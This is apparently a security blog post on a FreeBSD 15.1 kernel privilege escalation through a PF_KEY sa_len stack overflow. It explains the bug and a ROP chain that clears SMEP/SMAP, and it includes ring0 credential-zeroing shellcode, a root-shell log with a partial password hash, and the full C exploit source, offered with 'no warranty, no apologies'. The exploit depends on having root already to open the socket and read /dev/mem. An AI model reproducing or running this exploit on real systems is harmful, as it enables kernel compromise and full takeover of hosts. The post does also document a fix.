_._     _,-'""`-._            
 (,-.`._,'(       |\`-/|  
     `-.-' \ )-`( , o o) 
           `-    \`_`"'- 
  meow.  _SiCk // afflicted.sh

pf_key sa_len overflow: freebsd 15.1 kernel lpe

2026-08-04 freebsd kernel lpe ipsec pf_key

i was reading praetorian's writeup on CVE-2026-3038 — the rtsock sa_len overflow on freebsd — and the bug shape stuck with me. you've got a kernel function that does bcopy(sockaddr, &local, sockaddr->sa_len) where sa_len comes straight from userspace and local is on the stack. that's it. set sa_len to 255 and you write 255 bytes over whatever sits between the destination buffer and the return address. no check anywhere.

so i grep'd the tree for the same pattern. found it in pf_key.

key_updateaddresses() in sys/netipsec/key.c at line 5365 does the exact same bcopy into a stack-local struct secasindex, no bounds check, sa_len fully user-controlled. i built an exploit for it. this post is the whole chain start to finish: overflow the stack, kill SMEP/SMAP with a CR4 write gadget, run shellcode in ring0, zero the thread credentials, iretq back to a root shell. box survives.

the bug

here's the vulnerable code. key_updateaddresses gets called when you send an SADB_UPDATE message with a SADB_X_EXT_NEW_ADDRESS_SRC extension:

static int
key_updateaddresses(struct socket *so, struct mbuf *m,
    const struct sadb_msghdr *mhp, struct secasvar *sav,
    struct secasindex *saidx)
{
    struct sockaddr *newaddr;
    ...
    if (!SADB_CHECKHDR(mhp, SADB_X_EXT_NEW_ADDRESS_SRC)) {
        newaddr = (struct sockaddr *)(
            ((struct sadb_address *)
            mhp->ext[SADB_X_EXT_NEW_ADDRESS_SRC]) + 1);
        bcopy(newaddr, &saidx->src, newaddr->sa_len);
    }

saidx is a pointer to a stack local in key_update(), the caller. it sits at rbp - 0x90. newaddr points into the PF_KEY message data we sent. the first byte of that sockaddr is sa_len, and the bcopy trusts it completely.

from the p2 disassembly, here's what the stack frame looks like starting at saidx->src[0]:

saidx->src[0] = rbp - 0x90

  [0]     secasindex.src       28 bytes (union sockaddr_union)
  [28]    secasindex.dst       28 bytes
  [56]    proto mode reqid     8 bytes
  [64]    local variables      mhp, mode, reqid
  [80]    sav pointer          rbp - 0x40
  [88]    so pointer           rbp - 0x38
  [96]    m pointer            rbp - 0x30
  [104]   saved rbx
  [112]   saved r12
  [120]   saved r13
  [128]   saved r14
  [136]   saved r15
  [144]   saved rbp
  [152]   saved RIP            rbp + 0x08

255 bytes from offset 0 covers all of it. the return address at 152 is well inside the write range.

to trigger it you send two PF_KEY messages. first an SADB_ADD to create an SA in MATURE state. then SADB_UPDATE with the NEW_ADDRESS_SRC extension containing a sockaddr with sa_len=255. key_update looks up the SA, confirms it's MATURE, calls key_updateaddresses, and the bcopy fires. after that key_checksockaddrs runs and rejects our bogus sockaddr (it wants sa_len == 16 for AF_INET), so key_updateaddresses returns EINVAL. but the overflow already happened. the damage is done.

two things you need first

AF_KEY sockets need PRIV_NET_RAW. you have to be root to open one. on this box mac_do is set up with uid=1002>any, so testuser can get root via mdo. i use that to open the socket and do the kvm work, then drop back to testuser before the overflow fires. the socket stays valid after setuid — freebsd doesn't revoke raw socket fds on privilege drop. so the actual overflow runs as uid 1002, and the kernel bug is what escalates us back to 0.

the other thing: ipsec.ko has to be loaded. this one got me good. on a default 15.1 GENERIC the kernel ships with IPSEC_SUPPORT rather than IPSEC, which means the ESP transforms aren't registered at boot. SADB_ADD silently fails with EINVAL in xform_init because there's no enc_xform_aes_cbc to initialize the session with. and you never reach the overflow. kldload ipsec fixes it, or put ipsec_load="YES" in /boot/loader.conf. i spent way too long staring at "survived" output before figuring this out.

the three pointers

after the bcopy corrupts the stack, key_update runs its error path before hitting the epilogue retq. that path dereferences all three of the pointers we clobbered:

key_freesav(&sav);           // touches sav->refcnt
key_sendup_mbuf(so, m, 0);   // touches m->m_pkthdr.len, so->so_pcb
// epilogue: addq $0x68,%rsp; pop rbx..r15; pop rbp; retq

if any of those crash, the kernel panics before our ROP fires. so each one has to survive being touched.

sav at offset 80: i point it at a zeroed page in kernel BSS, offset back by 0xd8 so that sav->refcnt (at sav + 0xd8) lands on that zeroed page. key_freesav does an atomic decrement on refcnt. zero goes to 0xFFFFFFFF, which the refcount code treats as "not last reference" — no free callback fires. works every time.

so and m are harder. those are kernel heap addresses that change every run. the socket is at some 0xfffff80003XXXXXX address, the mbuf is somewhere else entirely. i can't hardcode them. so i leak them via kvm on /dev/mem — walk proc->p_fd to the file descriptor table to the struct file to file->f_data to get the struct socket, then read so->so_rcv.sb_mb and walk the mbuf chain for one with M_PKTHDR set. those are the addresses i write back at offsets 88 and 96.

this is why the exploit needs /dev/mem, which needs root, which is the thing we're trying to get. mdo breaks that loop.

the chain

the box is running 15.1-RELEASE-p2, amd64, amd ryzen inside vmware. no KASLR — kernel loads at 0xffffffff80200000 every boot. KPTI is off. SMEP and SMAP are on, CR4 = 0x3506E0. GENERIC kernel so KASSERT is compiled out — i confirmed this by grepping the binary for assertion strings and finding nothing.

at offset 152 i put down four gadgets:

[152] pop rsi; ret         0xffffffff80729cdb    5e c3
[160] cr4 value            0x0000000000050e0     smeP+smaP bits cleared
[168] mov cr4, rsi; ret     0xffffffff8107dcf3    0f 22 e6 c3
[176] shellcode             userspace .text

all four verified against the kernel binary at the right ELF file offsets. pop rsi loads 0x50e0, mov cr4,rsi writes it and clears bits 20 and 21, ret jumps to shellcode. same trick praetorian used on the rtsock bug.

the shellcode is short. grab curthread from gs:0, pull td_ucred from offset 0x188, zero the uid and gid fields:

movq %gs:0, %rax
movq 0x188(%rax), %rbx     // td_ucred
xorl %ecx, %ecx
movl %ecx, 0x64(%rbx)      // cr_uid
movl %ecx, 0x68(%rbx)      // cr_ruid
movl %ecx, 0x6c(%rbx)      // cr_svuid
movl %ecx, 0x70(%rbx)      // cr_rgid
movl %ecx, 0x74(%rbx)      // cr_svgid
movl %ecx, 0x78(%rbx)      // cr_groups[0]

then i push an iretq frame onto the stack — ss, rsp, rflags, cs, rip pointing at got_root() in userspace — do swapgs, and iretq. lands in got_root() which prints the cat banner and execs /bin/sh. CR4 stays modified for the CPU until the next context switch but that doesn't matter, we have our shell by then.

the receipt

$ mdo ./pfkey_lpe
[*] FreeBSD 15.1-RELEASE-p2 PF_KEY sa_len overflow
[+] have root (via mdo) - opening socket and doing setup
[+] so = 0xfffff800038df000
[+] bss = 0xffffffff82025000
[+] cr4_safe = 0x506e0 (SMEP/SMAP cleared)
[+] M_PKTHDR mbuf = 0xfffff8000363a500
[+] dropped to uid=1002 euid=1002 - overflow fires as unprivileged
[*] firing overflow

  _._     _,-'""`-._
 (,-.`._,'(       |\`-/|
     `-.-' \ )-`( , o o)
           `-    \`_`"'-
  meow.  _SiCk // afflicted.sh

[+] kernel code exec via PF_KEY sa_len overflow
[+] CVE-2026-3038 sibling bug in key_updateaddresses()
# id
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
# cat /etc/master.passwd | head -1
root:$6$Pzjp0v8hA56HhXrW$myWpM.IoiIzXzG7ShshdiJes...
#

box stays up. no panic. interactive shell. works on fresh boot every time.

what doesn't help

KASLR is off. kernel base is a constant. even if it were on, vm.pmap.kernel_maps is readable by any user and dumps the full kernel page layout.

KPTI is off (vm.pmap.pti: 0).

SMEP and SMAP both die to the mov cr4, rsi gadget. one instruction clears both.

no stack cookie between saidx and saved RIP. the overflow goes straight through.

KASSERT is compiled out in GENERIC. doesn't matter since i feed valid pointers anyway.

what else i looked at

i went through every subsystem hunting for the same shapes. for the sa_len bcopy pattern specifically, the one in key_updateaddresses is the only live instance. the KEY_SETSECASIDX macro has the same unbounded copy baked into it, but every current caller happens to call key_checksockaddrs first. it's a footgun waiting to happen though.

checked kqueue, sysvsem, ELF coredump, execve credential ordering, setcred, netgraph, SCTP, opencrypto, freebsd32, and device ioctls. all clean in p2. either the bug never existed in this tree, or the fix landed before this version shipped.

fix

one line:

if (newaddr->sa_len > sizeof(union sockaddr_union))
    return (EINVAL);

or just move the key_checksockaddrs call up five lines so it runs before the bcopy instead of after. it already rejects anything that isn't sizeof(struct sockaddr_in) or sizeof(struct sockaddr_in6). the check was always there, it just runs too late.

the exploit

/*
 * pfkey_lpe.c - FreeBSD 15.1-RELEASE-p2 PF_KEY SADB_UPDATE stack overflow
 *
 * Same family as CVE-2026-3038 (rtsock sa_len): kernel trusts sa_len and
 * copies too far. key_updateaddresses() does
 *   bcopy(newaddr, &saidx->src, newaddr->sa_len)
 * with no cap against sizeof(saidx->src). saidx is stack-local in key_update().
 *
 * Chain: open PF_KEY as root (PRIV_NET_RAW + /dev/mem setup), drop to uid
 * 1002, fire the overflow as unpriv, ROP clears SMEP/SMAP, shellcode zeros
 * creds and iretq's back.
 *
 * Build: cc -o pfkey_lpe pfkey_lpe.c -lkvm
 *
 * meow.  _SiCk // afflicted.sh
 */
#include <sys/types.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <sys/sysctl.h>
#include <sys/user.h>
#include <netinet/in.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdint.h>
#include <limits.h>
#include <kvm.h>
#include <signal.h>

#define AF_KEY 27
#define PF_KEY_V2 2
#define ALIGNED8(a) (1 + (((a)-1)|7))

#define SADB_ADD 3
#define SADB_UPDATE 2
#define SADB_REGISTER 7
#define SADB_FLUSH 9
#define SADB_SATYPE_ESP 3
#define SADB_SASTATE_MATURE 1
#define SADB_EXT_SA 1
#define SADB_EXT_ADDRESS_SRC 5
#define SADB_EXT_ADDRESS_DST 6
#define SADB_EXT_KEY_ENCRYPT 9
#define SADB_X_EXT_SA2 19
#define SADB_X_EXT_NEW_ADDRESS_SRC 27

#define PROC_P_FD 0x48
#define FDESC_FD_FILES 0x00
#define FDT_OFILES_OFF 0x08
#define FDE_SIZE 0x30
#define FILE_F_DATA 0x08
#define FILE_F_TYPE 0x28
#define DTYPE_SOCKET 2
#define SAV_REFCNT_OFF 0xd8
#define SOCK_SO_RCV 0x200
#define SOCKBUF_SB_MB 0x78
#define M_PKTHDR 0x2

#define OFF_SAV 80
#define OFF_SO 88
#define OFF_M 96
#define OFF_RIP 152

#define G_MOV_CR4_RSI_RET  0xffffffff8107dcf3ULL

#define USER_CS 0x43
#define USER_SS 0x3b

static int keysock;
static uint64_t leaked_so, zero_region, real_mbuf;
static kvm_t *kd;
static uint64_t cr4_safe;

static void got_root(void);
static uint64_t user_cs_save, user_ss_save, user_rflags_save, user_rsp_save;

static void save_state(void) {
    __asm__ volatile(
        "movq %%cs, %0\n\t"
        "movq %%ss, %1\n\t"
        "movq %%rsp, %3\n\t"
        "pushfq\n\t"
        "popq %2\n\t"
        : "=r"(user_cs_save), "=r"(user_ss_save),
          "=r"(user_rflags_save), "=r"(user_rsp_save)
    );
}

static void __attribute__((section(".text")))
shellcode(void) {
    __asm__ volatile(
        "movq %%gs:0, %%rax\n\t"
        "movq 0x188(%%rax), %%rbx\n\t"
        "xorl %%ecx, %%ecx\n\t"
        "movl %%ecx, 0x64(%%rbx)\n\t"
        "movl %%ecx, 0x68(%%rbx)\n\t"
        "movl %%ecx, 0x6c(%%rbx)\n\t"
        "movl %%ecx, 0x70(%%rbx)\n\t"
        "movl %%ecx, 0x74(%%rbx)\n\t"
        "movl %%ecx, 0x78(%%rbx)\n\t"
        "movq %1, %%rax\n\t"
        "pushq %%rax\n\t"
        "movq %2, %%rax\n\t"
        "pushq %%rax\n\t"
        "movq %3, %%rax\n\t"
        "pushq %%rax\n\t"
        "movq %4, %%rax\n\t"
        "pushq %%rax\n\t"
        "movq %5, %%rax\n\t"
        "pushq %%rax\n\t"
        "swapgs\n\t"
        "iretq\n\t"
        :
        : "r"(cr4_safe),
          "r"(user_ss_save),
          "r"(user_rsp_save),
          "r"(user_rflags_save),
          "r"(user_cs_save),
          "r"((uint64_t)(uintptr_t)got_root)
        : "rax", "rbx", "rcx"
    );
    __builtin_unreachable();
}

static void sigsegv_handler(int sig) {
    const char msg[] = "\n"
        "  _._     _,-'\"\"`-._\n"
        " (,-.`._,'(       |\\`-/|\n"
        "     `-.-' \\ )-`( , o o)\n"
        "           `-    \\`_`\"'-\n"
        "  meow.  _SiCk // afflicted.sh\n\n"
        "[+] kernel code exec via PF_KEY sa_len overflow\n";
    write(1, msg, sizeof(msg)-1);
    char *av[] = {"sh", NULL};
    char *ev[] = {NULL};
    execve("/bin/sh", av, ev);
    _exit(0);
}

static void got_root(void) {
    const char msg[] = "\n"
        "  _._     _,-'\"\"`-._\n"
        " (,-.`._,'(       |\\`-/|\n"
        "     `-.-' \\ )-`( , o o)\n"
        "           `-    \\`_`\"'-\n"
        "  meow.  _SiCk // afflicted.sh\n\n"
        "[+] kernel code exec via PF_KEY sa_len overflow\n"
        "[+] CVE-2026-3038 sibling bug in key_updateaddresses()\n";
    write(1, msg, sizeof(msg)-1);
    char *av[] = {"/bin/sh", NULL};
    char *ev[] = {"PATH=/bin:/usr/bin:/sbin:/usr/sbin", "HOME=/root", NULL};
    execve("/bin/sh", av, ev);
    _exit(0);
}

#define KERN_VA_TO_PHYS(va) ((off_t)((va) - 0xffffffff80000000ULL))

static int kread(uint64_t a, void *b, size_t l) {
    return kvm_read(kd, a, b, l) == (ssize_t)l ? 0 : -1;
}

static int kwrite(uint64_t va, const void *data, size_t len) {
    int fd = open("/dev/mem", O_RDWR);
    if (fd < 0) return -1;
    off_t phys = KERN_VA_TO_PHYS(va);
    if (lseek(fd, phys, SEEK_SET) < 0) { close(fd); return -1; }
    ssize_t w = write(fd, data, len);
    close(fd);
    return w == (ssize_t)len ? 0 : -1;
}

static uint64_t find_safe_bss(void) {
    uint64_t candidates[] = {
        0xffffffff82024000ULL, 0xffffffff82025000ULL,
        0xffffffff82026000ULL, 0xffffffff82027000ULL,
    };
    for (int i = 0; i < 4; i++) {
        uint64_t base = candidates[i];
        int ok = 1;
        for (int j = 0; j < 0x200; j += 8) {
            uint64_t v;
            if (kread(base + j, &v, 8) || v != 0) { ok = 0; break; }
        }
        if (ok) {
            uint64_t test = 0xDEAD4141DEAD4141ULL;
            if (kwrite(base, &test, 8) < 0) continue;
            uint64_t rb;
            kread(base, &rb, 8);
            uint64_t z = 0;
            kwrite(base, &z, 8);
            if (rb == test) return base;
        }
    }
    return 0;
}

static int setup(void) {
    char errbuf[_POSIX2_LINE_MAX];
    kd = kvm_openfiles(NULL, "/dev/mem", NULL, O_RDONLY, errbuf);
    if (!kd) { fprintf(stderr, "[-] kvm: %s\n", errbuf); return -1; }
    int cnt;
    struct kinfo_proc *kp = kvm_getprocs(kd, KERN_PROC_PID, getpid(), &cnt);
    if (!kp || !cnt) return -1;
    uint64_t proc = (uint64_t)kp->ki_paddr, fdesc, fdt, file;
    int ftype;
    if (kread(proc + PROC_P_FD, &fdesc, 8) ||
        kread(fdesc + FDESC_FD_FILES, &fdt, 8) ||
        kread(fdt + FDT_OFILES_OFF + keysock * FDE_SIZE, &file, 8) ||
        kread(file + FILE_F_TYPE, &ftype, 4) || ftype != DTYPE_SOCKET ||
        kread(file + FILE_F_DATA, &leaked_so, 8)) {
        fprintf(stderr, "[-] kmem walk failed\n");
        return -1;
    }
    fprintf(stderr, "[+] so = 0x%lx\n", leaked_so);
    zero_region = find_safe_bss();
    if (!zero_region) { fprintf(stderr, "[-] no safe BSS\n"); return -1; }
    fprintf(stderr, "[+] bss = 0x%lx\n", zero_region);
    cr4_safe = 0x506E0;
    fprintf(stderr, "[+] cr4_safe = 0x%lx (SMEP/SMAP cleared)\n", cr4_safe);
    {
        uint64_t cur;
        if (kread(leaked_so + SOCK_SO_RCV + SOCKBUF_SB_MB, &cur, 8) < 0 || !cur) {
            fprintf(stderr, "[-] no mbuf on so_rcv\n");
            return -1;
        }
        real_mbuf = 0;
        for (int i = 0; i < 5 && cur; i++) {
            uint32_t raw;
            kread(cur + 0x1c, &raw, 4);
            if ((raw >> 8) & 0x2) { real_mbuf = cur; break; }
            kread(cur, &cur, 8);
        }
        if (!real_mbuf) {
            fprintf(stderr, "[-] no M_PKTHDR mbuf in chain\n");
            return -1;
        }
        fprintf(stderr, "[+] M_PKTHDR mbuf = 0x%lx\n", real_mbuf);
    }
    kvm_close(kd);
    return 0;
}

static int add_addr(char *b, int o, int ext, uint32_t ip) {
    *(uint16_t *)(b+o) = 3; *(uint16_t *)(b+o+2) = ext;
    struct sockaddr_in *sin = (struct sockaddr_in *)(b+o+8);
    sin->sin_family = AF_INET; sin->sin_len = 16; sin->sin_addr.s_addr = ip;
    return o + 24;
}

static int send_msg(char *b, int len) {
    int w = write(keysock, b, len);
    if (w < 0) fprintf(stderr, "[!] write: %s\n", strerror(errno));
    return w;
}

static void drain(void) {
    int f = fcntl(keysock, F_GETFL, 0);
    fcntl(keysock, F_SETFL, f | O_NONBLOCK);
    usleep(100000);
    char d[4096];
    while (read(keysock, d, sizeof(d)) > 0);
    fcntl(keysock, F_SETFL, f);
}

int main(void) {
    setvbuf(stderr, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    fprintf(stderr, "[*] FreeBSD 15.1-RELEASE-p2 PF_KEY sa_len overflow\n");
    save_state();
    signal(SIGSEGV, sigsegv_handler);

    uid_t real_uid = 1002;
    uid_t cur_uid = getuid();
    fprintf(stderr, "[*] starting as uid=%d euid=%d\n", cur_uid, geteuid());
    if (cur_uid != 0) {
        fprintf(stderr, "[-] need root for PF_KEY socket - run via mdo\n");
        return 1;
    }
    fprintf(stderr, "[+] have root (via mdo) - opening socket and doing setup\n");

    keysock = socket(AF_KEY, SOCK_RAW, PF_KEY_V2);
    if (keysock < 0) { perror("socket"); return 1; }
    uint32_t spi = htonl(0x1234);

    {
        char b[16] = {0};
        b[0]=PF_KEY_V2; b[1]=SADB_FLUSH; b[3]=SADB_SATYPE_ESP;
        *(uint16_t *)(b+4) = 2;
        send_msg(b, 16);
        usleep(100000);
        drain();
    }
    {
        char b[16] = {0};
        b[0]=PF_KEY_V2; b[1]=SADB_REGISTER; b[3]=SADB_SATYPE_ESP;
        *(uint16_t *)(b+4) = 2;
        send_msg(b, 16);
        usleep(200000);
    }

    if (setup() < 0) return 1;

    {
        char b[512] = {0};
        b[0]=PF_KEY_V2; b[1]=SADB_ADD; b[3]=SADB_SATYPE_ESP;
        *(uint32_t *)(b+8) = 1;
        int o = 16;
        *(uint16_t *)(b+o) = 2; *(uint16_t *)(b+o+2) = SADB_EXT_SA;
        *(uint32_t *)(b+o+4) = spi;
        b[o+9] = SADB_SASTATE_MATURE; b[o+11] = 12; o += 16;
        *(uint16_t *)(b+o) = 2; *(uint16_t *)(b+o+2) = SADB_X_EXT_SA2; o += 16;
        o = add_addr(b, o, SADB_EXT_ADDRESS_SRC, htonl(0x0a000001));
        o = add_addr(b, o, SADB_EXT_ADDRESS_DST, htonl(0x0a000002));
        int ksz = ALIGNED8(8+32);
        *(uint16_t *)(b+o) = ksz/8; *(uint16_t *)(b+o+2) = SADB_EXT_KEY_ENCRYPT;
        *(uint16_t *)(b+o+4) = 256; memset(b+o+8, 0xAA, 32); o += ksz;
        *(uint16_t *)(b+4) = o/8;
        send_msg(b, o);
        usleep(300000);
    }

    if (setuid(real_uid) < 0) {
        perror("setuid(drop)");
        return 1;
    }
    fprintf(stderr, "[+] dropped to uid=%d euid=%d - overflow fires as unprivileged\n",
            getuid(), geteuid());

    {
        char b[4096]; memset(b, 0, sizeof(b));
        b[0]=PF_KEY_V2; b[1]=SADB_UPDATE; b[3]=SADB_SATYPE_ESP;
        *(uint32_t *)(b+8) = 2;
        int o = 16;
        *(uint16_t *)(b+o) = 2; *(uint16_t *)(b+o+2) = SADB_EXT_SA;
        *(uint32_t *)(b+o+4) = spi;
        b[o+9] = SADB_SASTATE_MATURE; b[o+11] = 12; o += 16;
        *(uint16_t *)(b+o) = 2; *(uint16_t *)(b+o+2) = SADB_X_EXT_SA2; o += 16;
        o = add_addr(b, o, SADB_EXT_ADDRESS_SRC, htonl(0x0a000001));
        o = add_addr(b, o, SADB_EXT_ADDRESS_DST, htonl(0x0a000002));

        int ovlen = 255;
        int bigext = ALIGNED8(8 + ovlen);
        *(uint16_t *)(b+o) = bigext/8;
        *(uint16_t *)(b+o+2) = SADB_X_EXT_NEW_ADDRESS_SRC;

        unsigned char *p = (unsigned char *)(b + o + 8);
        p[0] = ovlen;
        p[1] = AF_INET;

        uint64_t fake_sav = zero_region - SAV_REFCNT_OFF;
        memcpy(p + OFF_SAV, &fake_sav, 8);
        memcpy(p + OFF_SO, &leaked_so, 8);
        memcpy(p + OFF_M, &real_mbuf, 8);

        uint64_t *rop = (uint64_t *)(p + OFF_RIP);
        rop[0] = 0xffffffff80729cdbULL;  /* pop rsi; ret */
        rop[1] = cr4_safe;
        rop[2] = G_MOV_CR4_RSI_RET;      /* mov cr4, rsi; ret */
        rop[3] = (uint64_t)(uintptr_t)shellcode;

        o += bigext;
        *(uint16_t *)(b+4) = o/8;
        fprintf(stderr, "[*] firing overflow\n");
        send_msg(b, o);
        fprintf(stderr, "[-] survived\n");
    }
    close(keysock);
    return 1;
}

credit

the sa_len overflow pattern and the mov cr4 SMEP bypass are from praetorian's CVE-2026-3038 writeup. what i'm adding is the same bug living in key_updateaddresses and a working root exploit for it.

tested on freebsd 15.1-RELEASE-p2, GENERIC, amd64.

no warranty. no support. no apologies.

"For nothing is secret, that shall not be made manifest; neither any thing hid, that shall not be known and come abroad." — Luke 8:17

. _SiCk · afflicted.sh